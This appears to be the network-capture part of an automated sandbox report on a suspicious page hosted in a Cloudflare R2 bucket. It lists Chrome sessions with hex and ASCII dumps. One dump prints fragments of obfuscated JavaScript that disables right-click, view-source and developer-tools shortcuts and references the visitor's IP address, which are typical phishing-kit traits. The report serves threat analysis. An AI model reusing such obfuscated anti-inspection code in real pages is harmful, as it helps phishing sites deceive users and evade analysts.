2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 61 61 39 32 28 30 78 31 64 62 29 5d 5b 5f 30 78 63 33 62 32 35 37 5d 3d 7b 27 63 61 6c 6c 62 61 63 6b 27 3a 5f 30 78 65 37 64 61 30 35 2c 27 74 61 72 67 65 74 27 3a 5f 30 78 31 61 64 64 62 37 2c 27 65 76 65 6e 74 27 3a 5f 30 78 35 61 66 33 33 39 5b 5f 30 78 34 33 65 64 32 66 28 30 78 31 61 61 29 5d 7d 2c 5f 30 78 31 61 64 64 62 37 5b 5f 30 78 34 33 65 64 32 66 28 30 78 31 63 66 29 5d 3f 5f 30 78 31 61 64 64 62 37 5b 27 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 27 5d 28 5f 30 78 35 61 66 33 33 39 5b 5f 30 78 32 62 63 35 35 34 28 30 78 31 61 61 29 5d 2c 5f 30 78 65 37 64 61 30 35 2c 21 30 78 31 29 3a 5f 30 78 31 61 64 64 62 37 5b 27 61 74 74 61 63 68 45 76 65 6e 74 27 5d 3f 5f 30 78 31 61 64 64 62 37 5b 27 61 74 74 61 63 68 45 76 65 6e 74 27 5d 28 27 Data Ascii: aa92(0x1db)][_0xc3b257]={'callback':_0xe7da05,'target':_0x1addb7,'event':_0x5af339[_0x43ed2f(0x1aa)]},_0x1addb7[_0x43ed2f(0x1cf)]?_0x1addb7['addEventListener'](_0x5af339[_0x2bc554(0x1aa)],_0xe7da05,!0x1):_0x1addb7['attachEvent']?_0x1addb7['attachEvent']('
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 78 33 65 66 66 33 37 5b 27 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 27 5d 28 29 3b 7d 2c 21 30 78 31 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 61 62 35 34 35 28 30 78 32 30 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 37 38 63 63 35 29 7b 76 61 72 20 5f 30 78 33 31 30 31 39 39 3d 5f 30 78 31 61 37 64 39 64 3b 69 66 28 5f 30 78 33 37 38 63 63 35 5b 27 63 74 72 6c 4b 65 79 27 5d 26 26 30 78 35 35 3d 3d 3d 5f 30 78 33 37 38 63 63 35 5b 5f 30 78 33 31 30 31 39 39 28 30 78 31 63 63 29 5d 29 72 65 74 75 72 6e 21 30 78 31 3b 7d 2c 63 6f 6e 73 6f 6c 65 5b 5f 30 78 31 66 64 31 63 64 28 30 78 31 62 37 29 5d 28 4f 62 6a 65 63 74 5b 5f 30 78 33 38 33 39 36 63 28 30 78 31 66 33 29 5d 28 45 72 72 6f 72 28 29 2c 7b 27 6d 65 73 73 61 67 65 27 3a 7b 27 67 65 74 Data Ascii: x3eff37['preventDefault']();},!0x1),document[_0x1ab545(0x209)]=function(_0x378cc5){var _0x310199=_0x1a7d9d;if(_0x378cc5['ctrlKey']&&0x55===_0x378cc5[_0x310199(0x1cc)])return!0x1;},console[_0x1fd1cd(0x1b7)](Object[_0x38396c(0x1f3)](Error(),{'message':{'get
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 75 66 73 73 73 73 73 73 73 73 63 61 61 61 74 6f 69 6f 6e 2f 27 2c 27 33 33 33 38 38 49 63 55 55 6e 50 27 2c 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 27 63 61 6e 63 65 6c 42 75 62 62 6c 65 27 2c 27 63 74 72 6c 4b 65 79 27 2c 27 69 70 41 64 64 72 65 73 73 27 2c 27 63 6c 69 63 6b 27 2c 27 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 27 2c 27 69 6e 6e 65 72 48 54 4d 4c 27 2c 27 74 61 72 67 65 74 27 2c 27 4e 6f 72 6d 61 6c 27 2c 27 2f 2f 41 44 44 5f 53 48 4f 52 54 43 55 54 27 2c 27 73 74 79 6c 65 27 2c 27 6a 6b 6c 6a 27 2c 27 43 74 72 6c 2b 53 68 69 66 74 2b 49 27 2c 27 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 27 2c 27 31 38 31 30 39 37 31 38 65 77 71 4c 63 75 27 2c 27 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 27 2c 27 38 39 38 30 49 61 44 6e 70 50 27 2c Data Ascii: ufsssssssscaaatoion/','33388IcUUnP','contextmenu','cancelBubble','ctrlKey','ipAddress','click','#loadingScreen','innerHTML','target','Normal','//ADD_SHORTCUT','style','jklj','Ctrl+Shift+I','preventDefault','18109718ewqLcu','defineProperties','8980IaDnpP',
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 77 45 41 41 41 41 68 2b 51 51 45 41 77 44 2f 41 43 77 41 41 41 41 41 41 41 4a 74 41 49 63 41 41 41 41 41 65 67 41 41 67 77 45 41 68 69 6b 41 68 78 59 41 6a 77 4d 41 6a 78 67 41 6b 43 59 41 6c 79 30 41 6f 54 45 44 69 44 49 4c 43 77 73 51 6a 7a 4d 55 46 52 55 59 70 45 73 5a 6d 44 6b 61 69 6a 67 63 48 42 77 63 6e 44 30 65 73 46 51 69 6f 6b 77 6b 4a 43 51 6b 6b 6b 51 6d 4b 53 63 6d 6e 55 63 6f 61 7a 49 70 4b 53 6b 74 4c 69 30 7a 4d 7a 4d 7a 68 30 59 31 71 56 4d 32 66 45 63 33 6e 31 59 34 4e 7a 67 35 6c 30 77 35 74 46 38 36 71 6c 59 37 50 44 73 38 6a 55 34 2b 51 44 39 42 6b 30 35 42 6d 6c 4e 45 52 45 52 46 62 6b 5a 49 65 31 64 49 69 46 68 4c 53 30 74 4d 35 6f 56 4e 78 58 4e 51 32 6f 42 53 61 6c 52 55 56 46 52 5a 68 56 64 63 58 46 78 65 76 33 70 67 68 57 52 69 Data Ascii: wEAAAAh+QQEAwD/ACwAAAAAAAJtAIcAAAAAegAAgwEAhikAhxYAjwMAjxgAkCYAly0AoTEDiDILCwsQjzMUFRUYpEsZmDkaijgcHBwcnD0esFQiokwkJCQkkkQmKScmnUcoazIpKSktLi0zMzMzh0Y1qVM2fEc3n1Y4Nzg5l0w5tF86qlY7PDs8jU4+QD9Bk05BmlNERERFbkZIe1dIiFhLS0tM5oVNxXNQ2oBSalRUVFRZhVdcXFxev3pghWRi
2024-10-07 18:58:51 UTC	1369	IN	Data Raw: 43 6a 53 77 65 4d 66 4c 72 31 36 39 6a 50 56 73 2f 4f 76 62 76 33 71 64 75 2f 69 2f 38 66 6e 33 6d 61 65 66 4e 31 6e 5a 4e 66 7a 33 35 39 2b 50 62 77 34 2b 63 4e 46 51 79 63 4d 57 50 67 77 41 56 44 64 2b 77 59 58 65 48 79 42 53 69 67 58 59 71 77 51 59 59 67 68 76 53 69 59 43 36 63 58 49 4b 49 4c 50 2f 39 4e 65 43 45 46 4b 72 56 79 68 36 47 32 4c 49 49 4d 42 78 32 32 4b 45 79 7a 74 67 54 6d 59 51 56 6c 6d 68 69 56 75 61 56 45 38 63 57 64 6f 44 69 34 59 73 63 39 69 49 4a 4a 4f 57 67 68 78 69 4a 4a 2b 61 6f 59 31 53 52 46 41 4c 6a 6a 78 33 2b 6b 67 77 32 35 62 51 46 34 49 35 49 4a 6d 6d 55 69 6e 37 34 41 65 53 54 77 43 78 7a 54 6a 6f 33 30 71 62 6b 6c 55 70 71 4d 73 59 6d 55 44 37 35 79 7a 66 6b 55 4b 6d 57 65 6c 69 57 6d 61 4d 73 47 4e 70 69 53 35 64 41 2f Data Ascii: CjSweMfLr169jPVs/Ovbv3qdu/i/8fn3maefN1nZNfz359+Pbw4+cNFQycMWPgwAVDd+wYXeHyBSigXYqwQYYghvSiYC6cXIKILP/9NeCEFKrVyh6G2LIIMBx22KEyztgTmYQVlmhiVuaVE8cWdoDi4Ysc9iIJJOWghxiJJ+aoY1SRFALjjx3+kgw25bQF4I5IJmmUin74AeSTwCxzTjo30qbklUpqMsYmUD75yzfkUKmWeliWmaMsGNpiS5dA/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49728	203.28.49.249	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:51 UTC	347	OUT	GET /favicon.ico HTTP/1.1 Host: fidgetvfx.nz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:52 UTC	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:58:51 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49729	172.66.0.235	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:51 UTC	652	OUT	GET /favicon.ico HTTP/1.1 Host: pub-80685e4418f74026adc8912a5ab063db.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:58:52 UTC	180	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 18:58:52 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 8cf02002bce0c33f-EWR
2024-10-07 18:58:52 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 Data Ascii: p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <sect
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 Data Ascii: <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 Data Ascii: 304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C1
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 Data Ascii: .941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 1
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 Data Ascii: 684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10"
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d Data Ascii: 2.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill=
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 Data Ascii: 44 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.0
2024-10-07 18:58:52 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 31 32 39 2e 38 35 32 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 Data Ascii: d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H129.852V75.635Z" fill="#0055DC" /> <path d="M137

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49731	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:58:53 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N2s2zh+xoLSoBYy&MD=WN3brtBL HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 18:58:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f106a41e-8ac5-4a15-bb58-345b11ca5ee1 MS-RequestId: 06c93c26-5f92-4e1c-90ab-88aa4b263c70 MS-CV: cN7MVgdkWUaMdsEf.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 18:58:52 GMT Connection: close Content-Length: 30005
2024-10-07 18:58:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-07 18:58:53 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49733	151.101.2.137	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:03 UTC	557	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:03 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 4096206 Date: Mon, 07 Oct 2024 18:59:03 GMT X-Served-By: cache-lga21952-LGA, cache-ewr-kewr1740078-EWR X-Cache: HIT, HIT X-Cache-Hits: 561, 0 X-Timer: S1728327543.394106,VS0,VE1 Vary: Accept-Encoding
